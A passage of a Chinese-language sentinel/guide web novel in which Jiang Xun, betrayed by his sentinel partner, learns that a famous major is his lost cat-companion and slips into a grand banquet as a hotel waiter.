“而且，弗兰克也对我承诺了，如果我可以彻底放弃你，那么，他便会给我一个更好的机会！”他的目光中透出一丝灼热，“你应该也听说过那位新晋S级向导的消息吧？弗兰克答应了我，他会把雷欧家调查到的关于那位‘希先生’的情报与我共享！那可是一位真正的S级向导！注定会站上联盟最顶端的人！” “他的身边迟早会聚集起最顶级的资源与哨兵，我不求拿到弗兰克的机会，成为他的绑定哨兵。哪怕只能获得一个固定的疏导关系，对我的未来也是无可估量的助益！我知道这很难，可是……”洛伦茨的眼眸中燃起灼灼的野望，“既然留在你身边注定什么也得不到，那我为什么不拼一把呢？” 他的话语条理分明，把利弊权衡地清清楚楚，彻底撕破了从前在江寻面前所有的温和伪装。 “抱歉了，夏因，”洛伦茨的语气平静了下来，连最后一丝歉疚也几乎消失不见，“但这才是更明智的选择。” 江寻静静地听着，他看着洛伦茨，第一次如此清晰地意识到，自己和他完全是两个世界的人。 对于他而言，所有的接近、维护与盟约，背后都标好了清清楚楚的价格，一旦有人的出价更高，他便可以毫不犹豫地转身。 三观差异如此巨大的两个人，本就不可能成为长久的友人，今天就算没有桑扶，没有弗兰克，没有那个可笑的S级向导“希先生”，他们也不会成为真正的朋友。 桑扶脸上得意的笑容越发张扬，洛伦茨面上那点残余的愧疚也逐渐消散。 空气中一片难言的寂静。 片刻后，反而是江寻，第一个打破了沉默，轻微地笑了一下。 这样也好，早日认识到他们彼此之间观念上的巨大鸿沟，总好过以后酿成更大的危害时，才后悔莫及。 江寻的目光在洛伦茨的脸上最后停留了一瞬。 出乎桑扶与洛伦茨两人的意料，那投射过来的目光中，没有愤怒，没有指责，甚至也没有失望。 他只是就那么平淡地看了两人一眼，就像看到任何一个陌生人一样，随后一言不发地径直转身，在众人的目光下渐行渐远。 洛伦茨能清晰地感觉到，他不是在故作镇静，也没有暗藏怒火，他的情绪平静到，仿佛刚才的一切都没有发生过，不能在他身上留下丝毫的痕迹。 明明错过了机会的是对方，可这一刻，洛伦茨却觉得心中一阵空荡的不安，仿佛永远失去了什么重要的东西。 * 彻底认清了洛伦茨面具下的真实之后，江寻的心中除了些许对于失去积分赛资格的惋惜之外，真的毫无怨恨。 作为一个在现代社会中生活过的心智成熟的成年人，他从不期待去改变他人，只做选择。 尽管站在自己的立场上，洛伦茨的做法的确损害了自己的利益。但站在他的立场上，按照洛伦茨一直以来的处事方式，选择看起来对他更有利的一方，也是无可厚非的事。 这只是三观上的差异，由从小成长的环境而决定，他并不觉得生气，反而觉得，如果对方能一直按照自己的方式生活下去，在这个阶级差异比地球更加巨大的世界里，也许真的能有朝一日走上高位。 只不过，从今以后，这些都不再是自己会去关心的事情了。他的精力，应该更加集中在与自己真正同路的人身上。 傍晚的风带着丝丝凉意，吹拂过圣所中蜿蜒的小径。 江寻逆着人流一路向外走着，身侧是行色匆匆，或为了明日的协同赛焦虑，或因为积分排名上升而兴奋雀跃的学员们。 原本他也应该是其中的一员，如今，却已经早早失去了冲击排名的资格。 江寻回想着几天前从曲绍那里听来的几种获得正式邀请函的途径，遗憾地发现，失去了这次从积分赛中获得的机会，他已经彻底没了其他的渠道。如果仍然想去参加宴会，就只能接受曲绍提供的那几套备用方案。 可备用方案实在有太多不确定性，即使冒着风险，花费了时间精力成功进入了宴会，行动也会受限，想要见到陆厌离，恐怕成功率不高。 或许……应该放弃这次宴会，重新找其他方法？ 江寻的脑海中，各种念头纷至杳来，又在斟酌后，被他逐一否定。他微微蹙着眉头，一边在各种方案之间权衡利弊，一边脚步不停地向外走去。 可平稳的步伐，却被一阵惊呼与议论声打断。 “咦？这是什么？陆少将？” “哎？真的是他！他怎么会上这种民生频道？” “好短啊，怎么就一句话？陆少将这是什么意思？” “这是寻人启事吗？什么意思？他捡到了一只猫，在给猫找主人？” “这广告插播得也太突兀了吧？军方大佬捡到了一只猫找他的主人？这种事还需要搞这么大张旗鼓吗？” 熟悉的名字掠过耳畔，随之而来的是更多令江寻心头一动的关键词。 猫？寻人启事？ 江寻猛地顿住了脚步，循声望了过去。旁边不远处，几个学员正凑在一起，盯着其中一人终端上投射出来的光屏，口中啧啧称奇。 江寻的心脏猛地重重跳动了一下，一种强烈的，不可思议的预感，瞬间攫住了他所有的心神。 他感觉有点恍惚，那些不断飘至他耳边的话语，让他充满了一种不切实际的感觉。 不可能吧？他可是在整个联盟中都大名鼎鼎的陆少将，联盟的明珠，陆家的少爷…… 可心里的想法无法克制住他的动作。 下一刻，他动作迅速地抬起了手腕，指尖跳跃着，飞快登陆自己的向导核心，在终端显示出来的屏幕上操作着。 此时的江寻，脑海中再也无法想起几分钟前盘算的种种计划，所有的心神都集中在了手下的动作上。 输入那几个学员对话间提及的那个媒体频道，手指悬在“进入”按键上，忽而又停顿了下来。 江寻心中复杂的情绪翻涌，有些期待，又有些害怕。 他的食指不自觉地蜷缩了一下。下一秒，深吸了一口气，眼神一定，重重点击了下去。 页面瞬间刷新，频道首页显示了出来。 在各式常规的新闻中，一个十分突兀的链接混杂其中。 缩略图上，一身笔挺军装的陆厌离视线笔直地看了过来，眼神中蕴着让人难以读懂的浓厚情绪。 指尖几不可查地颤抖了一瞬，江寻点向那个视频链接。 加载的速度非常快，也许是因为片段过于短暂的原因。 画面亮起，背景似乎是一间简洁的起居室，陆厌离坐在房间正中央面对着镜头。他似乎是特意打理了一下外表，头发整齐地向后梳起，一身笔挺熨帖的军装一丝不苟，面色也不像平日里那般苍白，颊边微微透出些红晕来。惯常的认真神情下，涌动着一些说不清的汹涌情感。 下一秒，他的声音从扬声器中传了出来，有些低沉，有些缓慢，却一字一句清清楚楚，带着一种奇异的力量： “江寻……” 光屏晃动了一下，是江寻的手臂克制不住地颤抖了一下。 “你的猫项圈丢了，你还要他吗？” 简单的一句话，却震得江寻脑中嗡鸣不断。 视频很短，一句话说完便戛然而止。 随即跳出来的，是一堆飞速滚动的弹幕，与评论区中，爆炸开来的留言。 网友们纷纷打卡，留言中，充斥了各种匪夷所思的猜测与调侃。 【这是什么新型的暗号吗？】 【陆少将夺人猫咪石锤！】 【陆少将你被绑架了就眨眨眼。】 【楼上大直男鉴定完毕！饭都送到嘴边了，还不会吃！】 【顶楼上，这妥妥官方撒糖啊！AWSL！你们记不记得陆少将的精神体是什么！】 【这是给我干哪来了？这还是我们高冷的少将吗？不管了，我先磕为敬！】 …… 看看时间，这段短视频才发布了不到十分钟，可各种离奇亦或荒诞的猜测已经在视频下筑起了高楼。 可江寻此刻却顾不上去细看这些。 他直愣愣地站在人来人往的步道中间，怔怔地看着已经播放完毕，自动缩小的视频窗口，脑海中只剩下那一句简简单单，近乎幼稚可笑的话语。 他忍不住点上重播键，一次，又一次。 心中积郁已久的那层阴霾，在这一声声的话语中，被渐渐擦拭干净。 一点微小的喜悦在他心中落下了根，抽枝发芽，而后飞速绽放成花。 江寻的脸上，不知不觉地漾开了一抹笑意。 所有的试探，所有的猜测，所有的不确定，在这一刻，都有了答案。 一股难以言喻的滚烫情绪猛地冲上了他的心头，将刚刚遭受了背叛与挫折所带来的所有冰冷阴霾一扫而空。 他忽然低下了头，一声又一声，笑了出来。肩膀微微颤动着，嘴角无法抑制地越咧越大，轻松愉悦的情绪盈满心间，即使周围人对他奇怪的反应纷纷投来诧异的目光，也丝毫打断不了他此刻的快乐。 小树。 是他的小树。 我终于找到你了—— 作者有话说：撒花撒花！猫猫掉马啦[加油] 第158章 江寻看着视频中这个对他来说， 还带着些许陌生感的年轻男人，在确认了他的身份之后，却觉得他的眼角眉梢间到处都是小树的影子。 原本在视频里坐得端正严肃的军人， 此刻落在他眼里， 竟莫名幻化为一只故作正经， 言语间却透出些笨拙的小灰猫。 不过这样的话……江寻含笑轻叹口气，那星辉盛宴，他就必须要去了， 不然中间还不知道要隔多久， 到时候小树怕是要等着急了。 一念及此，先前所有的犹豫与权衡便统统消失了踪影。心中安定下来，只剩下跃动的期待。 在周围人群奇怪的视线下，江寻脚下一转，直接向着外城的方向走去。 现在这种情况下，只能用曲绍准备的备用方案了。 * “抱歉， 曲老大， 我那边出了点意外， ”江寻叹了一口气，“正式邀请函拿不到了， 还得麻烦你帮忙了。” 熟悉的小楼中，江寻与曲绍相对而坐， 诉说着他这边遇到的状况。 “希先生，您这是……”曲绍仔细打量着江寻， 面前的这位已经非常熟悉的顶级向导，明明嘴上说着沮丧的话，可脸上却始终带着笑意，整个人都被一种异样的快乐包围着， “遇到什么好事了吗？” “啊，不好意思，”江寻有些赧然地低咳了几声，却依旧完全无法掩盖住脸上的笑意，“的确遇到了一些值得高兴的事，让曲老大见笑了。” 见江寻没有细说的意思，曲绍也没有继续追问，只是情绪被江寻所感染，同样轻松了几分，说起自己的备用方案时，不自觉地话都变多了些。 “希先生您放心，之前我曲绍说过给您备好后路的，我已经安排人打点好了，成功率很高，一定把您安全送进去！”曲绍拍着胸脯，语气豪爽。话落，从终端中调出两份文件，对江寻解释起来。 “成功率最高的有两个方案，”曲绍放大第一份文件，“第一，顶替一个家族旁系子弟的随从名额进去。我们已经提前买通了那位‘少爷’，这个方案相对比较安全，也比较简单。应该能确保您进入主厅，但是活动范围可能只能局限于边缘区域。在宴会期间，您也得一直跟着这位‘少爷’一起行动。他特别要求过，必须要听他的安排，不得擅自行动，不能给他惹麻烦。如果他觉得有任何不妥，便会马上终止合作让您离开。” 曲绍撇了撇嘴，语气略带不屑：“这个人，规矩有点多，平时看着唯唯诺诺的，要钱的时候胆子倒是挺大的。” 光屏切换，又显示出另一份资料。“第二个方案，做宴会服务生。” 曲绍点了点资料中放出的图片：“这次盛宴上所有的餐饮与服务，都由这个‘万星港大酒店’负责。为了准备这次盛宴，他们现在正在紧急扩招人手。我们的人搭上了一条线，可以把您塞进去。不过用这个方案的话，您得提前几天过去一起参加培训。” “这个方案好处和坏处都很明显，”曲绍继续道，“好处是一旦被选定分配到大宴会厅里服务，那基本能见到所有的大人物，行动也会相对比较自由。但如果运气不好，或者在培训时表现不佳，那宴会当天，可能会被分配到后厨、通道走廊或者偏厅里，那就很难接触到主厅里的重要人物了。” 他说着，语气顿了顿，仔细打量一番江寻，又补充道：“不过，以希先生您的身材和气质，穿上规整的制服，外貌就比旁人亮眼了许多。只要不出大错，那被主管挑去前厅服务的几率，还是挺大的。毕竟那种场合里，即使只是个服务人员，也要仪表堂堂才能胜任。” 江寻权衡着这两个方案，它们的长处与短处都很明显，主要看需求，但对于他来说，明显是后者更加适合一些。 “就服务生吧。”江寻没有犹豫太久，便做出了选择。 曲绍也赞同地点了点头：“我也觉得，如果是要找特定的一个人的话，还是第二个方案更方便行动。” “那我马上安排下去，酒店的新人培训已经开始了，我把您安插进去，您需要继续在那里培训持续两天。”曲绍动作麻利地操作起终端，将一条条命令下达了下去，“不过万星港后台很硬，规章制度很严格，到最后一天主管分配任务时，我就帮不上忙了。” 他撕下一页便签，飞快写下一个名字和一串暗号，递给江寻：“这是在酒店后勤处工作的一位小主管，是我们提前打点好的人。身份资料我们已经给您准备好了，您明天带着这串暗号去找他，他会帮您安排入职的事宜。” 江寻接过纸条，一眼扫过上面的信息，暗暗记在心里，随后收起了便签，“麻烦您了，曲老大。”他站起身来，向曲绍郑重道谢。 “嗨，咱们一家人不说两家话，能帮上您的忙我就高兴了！”曲绍也连忙起身，扶住了江寻，“您快回去准备一下吧，明天最好早点过去。” “我明白的。”江寻应下曲绍善意的提醒。 随即道别，踏上了回家的路途。 * 万星港大酒店，作为在中央星上首屈一指的顶级酒店，即便是在天刚蒙蒙亮的清晨，也已经透出一股不同寻常的紧张与忙碌。 最繁忙的后勤区域里，各路人员往来穿梭，前来运送物资的车辆、推着清洁车的工人，还有已经换上了规整制服的服务人员们，簇拥在同一片区域里，化为这庞大机器中的一个个齿轮。 失去了积分赛的后续参赛资格，江寻也就不再去关心后续的进程，一大清早，就按照着便签上的信息，乘坐飞艇来到了位于星枢群岛的万星港大酒店。 经过一番周转，终于来到了便签上写着的那位王姓小主管面前。 对方看着四十多岁，面色疲惫但眼神看起来却十分精明，看到江寻私下打出的暗号，只是不动声色地点了点头，便带着他一路来到另一位人事主管面前，引导着他完成了入职登记。 之后，又引着他前去后勤物资调配处，领取了一套崭新的服务生制服，示意他马上换上。 江寻依言钻进一侧狭窄的更衣室里，迅速换上了制服。 当他重新走出来时，当即令等候在外的王主管眼前一亮。 作为规格很高的大酒店，万星港为服务生提供的制服质料也非常不错。形制是不会出错的衬衫马甲两件套，下配修身长裤。这种款式格外适合身材高大的男性，一换上制服，江寻马上便从文质彬彬的学者，变成了身材挺拔的绅士。 为了减少一些身上的书卷气，他把头发全部捋到了后面，露出光洁的额头和那双深邃的黑眸，整理着袖口时，不像要去参加培训的服务生，倒像一位即将出门的世家子。 这幅模样，令这位王主管对待他的态度更加客气了几分，亲自将他领进了用作临时培训室的大会议室里。 两人抵达会议室时，里面已经整整齐齐地坐了二三十个同样穿着制服的年轻男女，而台上的培训师，正在清点人数。 他们的出现打断了培训师的动作，而江寻的到来，也瞬间吸引到了几乎所有人的目光。 看到王主管一边介绍着江寻的身份，一边将一张新的登记表递给培训师时，室内的私语声便如同潮水一般缓缓漫延了开来。 “又来了一个……” “啧，这个长得倒是不错，不知道又是哪家塞进来的。” “搞什么？就只剩两天了怎么还不停来人！” “烦死了，怎么这么多关系户？” “切，说得你们好像不是一样……” 几乎不用回头，江寻就感觉到了身后投来的各色目光，有的审视，有的嫉妒，还有丝毫不加掩饰的排斥，唯独没有对新同事的欢迎。 江寻稍稍一怔，再细看众人，这才发现，在座的这些男男女女，每一个都外形姣好，健康年轻，连手指皮肤都个个细腻白皙。顿时明白，原来打着混进宴会中接近大人物的主意的，远不止他一个人。 王主管几句话跟培训师交代好，向着江寻最后点了点头，便匆匆离开了。而这位中年培训师，习以为常地瞥了江寻一眼，随意地指了一个后排的空位，便不再理睬他。 江寻没有多说什么，越过众人走到后面坐下，就这样开始认真地听起了培训内容来。 台上的培训师按部就班地继续点名，确认了没有新人再来，便正式开始了课程。 尽管时间很短，这里的培训人员们也大多不是真的为了入职而来的，但万星港方面还是准备了详尽的培训流程。 课程内容从基础的仪态礼仪、托盘行止技巧，到各种酒水的品类、年份、口感差异等内容应有尽有。甚至还包括遇到一些突发状况时的应急处理流程。 江寻从这充实详尽的课程设计中，看出了酒店对于此次宴会的重视，态度越发认真。 可坐在这里的不少培训学员，显然志不在此，上课期间明显心不在焉，有的悄悄在桌下刷着终端，有的对着小镜子不断整理着自己的妆容，甚至连培训师的目光扫过他们时都丝毫不遮掩。 江寻没有理会其他人的上课态度，像是身处高级研修班的教室一般，仔细地听着每一条从没接触过的新知识，观察着培训师做出的示范动作，甚至还拿出了感应笔与晶板，不时将一些要点记录下来。 虽然他也只是在这几天内需要用一下这个临时身份而已，可既然已经注定要为了此事消耗时间，他还是更希望这时间能花费得更有价值一些，哪怕以后用不到这些知识，多一些储备，也不是坏事。 连培训师都注意到了这个与众不同的员工，讲课时不自觉放慢了语速，连做起示范来都更加标准了几分。 可同时，他的认真表现也引来了不少嘲弄的嗤笑。 上午的课程结束，培训师前脚刚刚走出会议室，身后便传来了不加掩饰的奚落： “嗤！这么卖力？看来这一位可比我们目标远大多了，人家是真的打算好好学习，以后在酒店里端盘子呢！” 话音一落，便引来一阵哄堂大笑。 江寻抬眼看去，一个同样穿着制服，却明显化了妆的年轻男子，正与另外两人凑在一起，转过身来看向他，俊朗的面容，此刻却被恶意的笑容充斥着，显得面目可憎。 “哎呀，你们不懂，人家是提前找好了退路，万一在宴会上无人问津，还可以回来继续打杂呀，反正都是伺候人不是吗？” 他身边另一个身材娇小的漂亮女孩嬉笑道，一副天真明媚的面容，娇憨的声音却说着恶毒的话语。 她的发言再次引来一阵压抑的哄笑声，还有几人动作夸张地笑得花枝乱颤。 江寻合上笔记本，拿起晶板与感应笔，站起身来，径直向着他们的方向走去。 高大矫健的身材，随着走近投下一片越来越大的阴影，被阴影笼罩在其中的几人，笑容渐失，只觉心头压上一种强烈的压迫感。 终于，为首那个第一个出声的年轻男人，也第一个被这种从未感受过的压迫力压垮，猛地站了起来，眉毛一竖，色厉内荏地就要出声：“你……” 话还没说出口，却见江寻连一个眼神都没有留下，径直从他们身侧的小道上走了过去，几步便到了门口。 男子的脸色瞬间一阵青一阵白，想继续呵斥，似乎又有些不敢，只得悻悻低骂一声“装什么清高！”，又带着些尴尬重新坐了下去。 反而是江寻又回过了头来，看向他们，眼神中是真切的疑惑：“我不太明白，如果我认真学这些东西，真的想要留下来，对你们来说，不该是好事吗？你们应该鼓励我夸奖我才是，为什么却要反过来嘲笑我？” 一段话说完，也不等回答，便自行出门，按照酒店的安排去员工食堂吃午餐。留下一群人，哑口无言地面面相觑。 然而，也并不是所有人都是空降过来的“关系户”，江寻专注的态度，却也无形中影响到了另外一小部分人。 这些人大多都是酒店原本的员工，因为工作出色、外形过关，才抢到了参加宴会的资格。本想在这场全酒店都重视的大型活动中好好表现，却被一个又一个空降而来的“少爷小姐”打击得完全没有了积极性。 可此时，看到这个看起来气质最好，最不像普通人的服务生反而如此认真努力，这一小部分人也默默收起了散漫的心思，开始重新认真训练了起来。 这么一个小小的培训课上，便也因为两种完全不同的态度，分成了泾渭分明的两个团体。 接下来的两天，江寻认真跟着培训师的进度，尽量吸收着所有的培训内容。而他的身后，也渐渐跟随了越来越多的人。 原本肆无忌惮的嘲笑声，渐渐变成私下里的恶毒抱怨与揣测，江寻对身边发生的这些龌龊完全置若罔闻，只按照他自己的节奏认认真真地往前走着。 他向来知道自己的目的是什么，从不把宝贵的时间浪费在不值得的人事物上。 两天的培训期，在紧张的氛围中飞速流逝而去，转眼间，时间便来到了即将举办宴会的周六。 * 周六清晨，天还没完全亮起，万星港大酒店已经彻底苏醒了过来。 整个酒店从经理到员工，每个人都摩拳擦掌，只等在晚上将于议会宴会厅举办的“星辉盛宴”中好好表现。 万星港大酒店后勤区的气氛，此时更是紧绷到了极点。 所有通过了培训课程的服务生们，都被集合在了最大的准备间里，鸦雀无声地站着，等待着决定了他们今晚乃至之后很长一段时间内命运的时刻。 几位身着深色套装，表情严肃的主管，脚步迅速的，在他们已经熟悉了的培训师的陪同下走了进来，一边查阅着手中的电子名册，一边环视着在场的每一个年轻人。 几个颜色最好的年轻男女，虽说都对自家的靠山信心十足，此刻，也不禁紧张了起来。 空气中气氛凝滞，只能听到众人抑制不住的沉重呼吸声。 “多余的话我就不说了，现在开始对今晚的‘星辉盛宴’进行工作分配。下面，我念到名字的人请出列，跟着你们的指定主管去各自负责的区域。”为首的总管事声音洪亮，没有废话地直接进入了正题。低头看向手中的名单与各部门主管给出的评估意向单，开始了分配。 “A到E区，贵宾休息室，需要两人。哈里，罗亦，跟着你们的主管走。” “西侧廊道酒水台需要三个男性服务人员，穆迪尔，托马斯，刘义，你们三个过去。” “后厨传菜通道，五个人……” 一个又一个名字被次第念出，一个个服务区域，被迅速填满。被念到名字的人，有的面露喜色，有的则难掩失望。 不少原本以为自己只能被发配到犄角旮旯里的普通服务生，都惊喜地发现，自己被分配到了十分不错的位置。 江寻身姿笔挺地站在人群中间，心中也不免有了些紧张的情绪。 当总管事念到“宴会主厅服务”时，剩下所有人的目光都瞬间被集中了过去，一股强烈的渴望与希冀，瞬间弥漫开来。 总管事像是也察觉到了这紧张的气氛，抬眼瞥了面前还没有被分配到任务的人员一眼，口中却丝毫没有停顿，快速地念了下去。 “……宴会主厅服务，六人。夏因，梁宫，芭芭拉，朱恩……” 江寻的眼中闪过喜色，彻底放松了下来。而被念到名字的另外几人，纷纷面露惊喜地低呼出声。 而那几个妆容最为精致的男女，却面色难看了下来，看向那惊呼出声的几人，眼神中几乎要喷出火来。 总管事像是没看到众人之间的眉眼官司，继续一股脑地往下念。当大部分的重要岗位都被分配完毕，开始念到剩下的一些偏僻无人的边缘区域时，那些仍然站在场中没有被念到名字的精致男女们，终于忍不住了。 “你们在搞什么！”一个眼妆精致，头发慵懒挽起的年轻女子猛地踏前了一步，尖声叫了出来。就在几秒钟前，她的名字出现在了餐具清洁组的名单里，“你们知道我是谁吗？我可是刘议员家介绍来的！怎么能去洗盘子？！” 见到有人带头，另一个身材颀长高挑的男子也怒气冲冲地附和了起来：“就是！到底是谁定的名单？我爸给酒店捐了多少钱？你们让我去当搬运工？” “凭什么那些人能去主厅？长得还没我家佣人好看，他们能做什么？你们现在马上把我换过去，不然我立刻给家里打通讯！” 一时间，群情激奋起来，无数抱怨和威胁的声音此起彼伏，场面完全混乱了起来。 总管事停下点名，冷眼扫过场上叫嚣的诸人，一言不发，任由他们闹腾。而跟在他身后的几个主管，也同样见怪不怪地站在原地，对于这些人的威胁毫无惧色，脸上只有一种见惯了这种场面而磨练出来的不耐。 在总管事冰冷的目光下，喧闹声渐渐低了下去，虽然这么多人都在同时叫嚣，可真的去打通讯的人，却一个都没有。 待场中彻底没了声音，总管事才冷哼一声，再次开了口：“能把你们塞进来，已经是酒店给你们背后的人面子了。但万星港能击败中央星上所有的高级酒店承办星辉盛宴，背后的靠山难道是你们能比的吗？觉得背景够硬就什么都不用学，只想着靠着我们酒店的渠道去结识大人物？是谁给你们的自信？” “你们要是对分配不满，可以，现在就脱了制服，立刻离开！我会亲自向引荐你们过来的人说明原因，看看他们是得罪得起我们酒店背后的东家，还是你们的价值值得他们为了你们出头！” 这番话语一出，几个混在人群中叫嚣得最厉害的人瞬间脸色煞白，张了张口，却再也不敢发出一个音。 见这些做着美梦的年轻人终于知道了厉害，总管事这才冷哼一声，继续往下点起了名字。 从这之后，再无一人敢打断他的话语，工作分配在这样的气氛下迅速结束。 那些打扮得一个比一个花枝招展的男女们，面色难看眼神愤恨地看着江寻等人，各自跟随着主管散了开来，前往分配的岗位上进行最后的准备工作。 而江寻，历经了几番辗转，终于站在了议会宴会厅前，看到了这个即将迎来本年度最盛大的一场宴会的场所。 时近傍晚，一切已经准备就绪。 水晶灯璀璨夺目，流光溢彩的印染桌布铺设得整整齐齐。精致的餐具银光闪闪，空气中弥漫着花朵与高级香水的芬芳。 夜幕缓缓降临，整个宴会厅，如同镶嵌在中央城中心的明珠般，开始绽放出属于它的璀璨光辉。 宴会厅外，无数悬浮车带着身后喷出的光带，划出道道绚烂的花纹渐渐汇聚过来。 星辉盛宴，即将在这里拉开帷幕—— 作者有话说：修好！明天宴会开始啦~~激动人心的时刻马上到了！[墨镜] 第159章 中央星盖亚诺瓦， 中心群岛“星枢”，议会宴会厅。 天色刚刚黯淡下来，宴会厅门口便已经被往来穿梭的各式座驾照耀得灯火通明。 许多受邀而来的宾客， 早早便换上了锦衣华服提前抵达了宴会厅， 宴会正式开始前的暖场时间， 也是一个非常好的社交时机。难得能够参与进这场盛会的人们，大多不愿意错过这样一个拓展人脉的机会。 还有几位兼职了星网博主的年轻人，此刻正操纵着无人摄像机， 立在宴会厅门口的台阶上， 滔滔不绝地向网友们直播着这场盛况，每遇到有大人物到场，便要与有荣焉地介绍几句，引得弹幕阵阵羡慕感叹。 更多有一定身份地位的宾客们，则是早早在门口验证过邀请函后，便款款步入了厅中。今日的宴会厅， 几乎汇聚了整个联盟最具分量的那些大人物， 无人舍得将时间浪费在场外。 宴会厅经过几天的准备布置， 此刻已经灯火辉煌。高耸的厅顶上，是由著名画师彩绘的一系列联盟重大历史场景， 巨大繁复的水晶灯环绕着中心悬挂着，将整个大厅照耀得如同白昼。 光可鉴人的石质地面上， 倒映出其上衣香鬓影的蹁跹身姿，又被身穿修身笔挺礼服的绅士们踏过， 发出阵阵清脆的声响。 入目所及极尽华丽，耳畔鼻尖萦绕香风絮语。 一片盛世流金的奢靡盛大。 暖场环节中，尚未有重要人士到场，这会儿活跃在场中的， 大多是商界名流、军方代表与一些社会人士，还有一些名声不显的小家族子弟。众人在舒缓的音乐声中，端着酒杯，洋溢着笑容，不停穿梭着，寒暄交谈着，整个会场随着他们的低声谈笑渐渐热闹了起来。 身着统一制服的服务生们，此时正托着放满了酒杯与精致餐点的银盘，悄无声息地穿梭在宾客之间，动作流畅又低调有礼，显示出一种精心培养过的专业素养。 江寻此时就是这些服务生中的一员。他微微低着头，专注在手中的工作上，在恰当的时候为客人们添上新酒，送上精致的餐点，偶尔也会不留痕迹地为几个初次经历这种大场面的客人指引一下方向。 他的动作标准有礼，却又极为低调，毫无存在感，就这样巧妙地将自己隐藏在了一众忙碌的服务人员之中。 几位与他一同被分到主厅的出身普通的年轻人，显然不如他如此镇定。尽管在培训时已经被主管反复叮嘱过礼仪规范，但亲眼见到以往只能在新闻、星网上看见的大人物与社会名流们，活生生地出现在眼前，仍让他们心中激动不已。只能借着低头或转身的瞬间交换一个兴奋的眼神，用嘴型与气声悄悄念出一个又一个认出的名人。 “看那边！是不是科尔家的公子……” “快看！是奥莎利亚！天啊，听说她马上要息影嫁入豪门了！原来是真的！” “嘘，小声点！快看那个，是寰宇集团的董事长！” “刚进门的是不是军方的人？好年轻的上校！” 江寻没有太过注意服务生们的动静，但几人压低的惊呼声还是不时飘到他的耳畔。 他一边随时留意着宾客们的需求，一边分神，从飘散在空气中的只言片语中，捕捉着他想要得到的消息。 “……威尔逊……还没来？” “今年听说也邀请了……陆……” “陆家家主没跟他一起……听说……” 嗡嗡嗡的议论声又轻又杂，江寻需要非常用心才能捕捉到一二有用的信息。然而这些已经足够，江寻压下些许躁动的心情，低敛眉梢，耐心地等待着。 偶尔看到几个有些眼熟的面孔，还要迅速隐藏起自己，完美扮演出一个沉默而专业的服务生。他可不想在胜利前夕，惹出什么不必要的乱子，妨碍到自己的计划。 他的这种对宾客们悄然躲避的举动，甚至引起了与他一起参与过培训的同期服务生的好奇。趁着添酒的间隙，眼睛探究地看向他，忍不住小声地问了出来：“夏因你……你怎么真的一直在干活啊？不趁着这个机会去那些大人物面前露露脸吗？” 即使江寻在培训期间始终认真，但他明明相貌出众，又是靠着关系在宴会开始前夕才塞进来的，他们一直觉得江寻的目的与那些“关系户”们无异，只是手段更加高明了一些。 江寻一眼便看懂了对方未尽的话语，可他显然没打算对一个只认识两天的过客解释，只是微微摇了摇头，笑了笑，便重新投入了自己的工作中。 然而，麻烦并不是你不惹，它便不会来的。 就在他躬身刚刚为一位客人送上了甜酒，准备返回备餐区时，一个惊讶的女声从他身后响了起来。 “夏因？” 江寻脚下一顿，马上便认出了这个有些熟悉的女声，有些惊讶，又有些无奈，缓缓转过身来，看向来人。 原来是她——季千钧。 江寻刚才注意躲着的都是一些在圣所认识的学员导师们，他倒是没想到，向来一幅雇佣兵打扮的季千钧会出现在这里，还变得与平日里如此大相径庭。 她今晚终于换下了那身不离身的战斗服，穿上了一条与她的发色十分相配的红色晚礼服。礼服考究又大气，完美地衬托出了她的好身材。闪烁着微光的红色布料蜿蜒流淌下来，长长的下摆只开衩到膝盖的位置，露出一条肌肉匀称的小腿，却流露出十足的女人味。 今天的季千钧敛去了那股锋芒毕露的气质，将周身的气息全部收敛了起来，丝毫没有一点儿巅峰A级哨兵的痕迹，外人看去，只会觉得面前是一位高贵优雅的女士。也怪不得江寻一直没有察觉到她的存在。 此刻，她正如场中所有人一样，手中执着一只晶莹的水晶杯，上上下下地打量着江寻这一身服务生制服。眉头微微蹙起，眼神里带着惊诧与惋惜，似乎是没有想到会在这里，见到这般身份的江寻。 “真的是你？！”季千钧语气里尽是难以置信，“我听说了洛伦茨的事，知道你失去了积分赛的奖励，可是……你好歹也是圣所有名的B级向导，就为了来这次宴会，你还跑去……做服务员？” “你……”季千钧不住地打量着他，看着他的眼神惋惜，“就算没有了洛伦茨，应该还有许多高阶哨兵想要追求你的吧？你何至于沦落到这种地步？” “还是说……”见江寻一直不说话，连眼神都不与她对上的模样，季千钧有了新的猜测，“你想来这里找一个更好的？比洛伦茨更好的，好在他面前争口气？” 江寻看了季千钧一眼，暗叹一口气，他早就看明白了季千钧其人，他们两人的三观是完全不同的，根本无法互相理解。他也没有兴趣去向她剖白自己的想法。 可季千钧却将江寻的眼神看做了被她说中心思的难堪，忍不住摇了摇头。 原本正欲恨铁不成钢地再说几句，可看着江寻今日这幅低眉顺眼又秀色可餐的模样，却忍不住心中动了动。 之前见到这个夏因向导的时候，他无不是一幅高岭之花不可采撷的模样，自己虽然一直没放弃追逐他，可心中抱着的，始终是绑定一个高等级向导的念头，旁的想法却是很少。 今天乍一看到他这幅模样，反倒正正好切中了自己的爱好，不禁心痒不已。 季千钧的眼神流连在江寻身上，心中忍不住斟酌了一下，这才上前一步，声音压低了一些：“夏因，我之前说过的话依然算数，如果你愿意和我绑定的话，我可以代替洛伦茨成为你的哨兵。你还没出圣所单纯的环境，所以对他有光环。我虽然不是什么高层重要人物，可论在塔中的影响力，他可是远远比不上我的。如果你真的想要找个比他更好的，不如选和你匹配度高的我。” 她自觉自己的提议对江寻也是好事。之前一直被洛伦茨抢走机会，看起来没什么希望，她才把目光转向了S级向导。可如果现在被洛伦茨背叛的夏因愿意和她绑定的话，那捡一个现成的合自己心意的向导，对她来说也不亏。 “你不如好好考虑下，以你现在的模样……”她的目光扫过被江寻稳稳托在手中的托盘，意思不言而喻，“就算在其他更加尊贵的大人物面前露了脸，也混不上什么分量的，顶多一场艳遇罢了。” 季千钧今天的话说得比在圣所中见到江寻时直白得多，也不知是不是因为如今两人身份的差异。 可令她没想到的是，自己的话已经说得这么明白了，面前的男人竟然没有丝毫动心的意思，依然如以前一样迎上她的视线，干脆明了地拒绝道：“感谢您的好意，季女士，但我目前并没有与您绑定的打算。” 连拒绝的话语都与以往没什么太大的差别，仿佛两人如今的身份地位差距，仍不曾被他看在眼里。 季千钧愣了一下，仔细盯着江寻看了几秒，仿佛想从他的脸上找出一点犹豫或者言不由衷的痕迹，却什么也没发现。 心中刚刚燃起的一点点小火苗瞬间被扑灭，季千钧迅速冷静了下来，方才的那点因为美色而动摇的念头，在现在看来是多么可笑。 